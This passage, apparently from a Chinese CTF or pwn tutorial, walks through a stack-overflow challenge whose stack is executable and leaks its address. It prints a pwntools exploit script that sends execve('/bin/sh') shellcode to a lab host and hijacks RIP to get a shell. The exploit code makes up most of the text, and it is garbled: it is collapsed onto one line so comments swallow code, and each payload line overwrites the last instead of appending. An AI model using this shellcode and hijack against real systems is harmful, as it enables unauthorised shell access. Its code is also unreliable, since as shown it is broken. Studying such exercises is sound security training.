使用Pwntools自带的检查脚本checksec检查程序,发现程序存在着RWX段(同linux的文件属性一样,对于分页管理的现代操作系统的内存页来说,每一页也同样具有可读(R),可写(W),可执行(X)三种属性。只有在某个内存页具有可读可执行属性时,上面的数据才能被当做汇编指令执行,否则将会出错)
调试运行后发现这个RWX段其实就是栈,且程序还泄露出了buf所在的栈地址。
所以我们的任务只剩下找到一段合适的ShellCode,利用栈溢出劫持RIP到ShellCode上执行。所以我们写了以下脚本:
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) io = remote('172.17.0.3', 10001) shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" #xor rdx, rdx #mov rbx, 0x68732f6e69622f2f #shr rbx, 0x8 #push rbx #mov rdi, rsp #push rax #push rdi #mov rsi, rsp #mov al, 0x3b #syscall print io.recvuntil("Location:") #读取到"Location:",紧接着就是泄露出来的栈地址 shellcode_address_at_stack = int(io.recv()[0:14], 16) #将泄露出来的栈地址从字符串转换成数字 log.info("Leak stack address = %x", shellcode_address_at_stack) payload = "" payload = shellcode #拼接shellcode payload = "\x90"*(0x28-len(shellcode)) #任意字符填充到栈中保存的RIP处,此处选用了空指令NOP,即\x90作为填充字符 payload = p64(shellcode_address_at_stack) #拼接shellcode所在的栈地址,劫持RIP到该地址以执行shellcode io.send(payload) io.interactive()
但是执行时却发现程序崩溃了。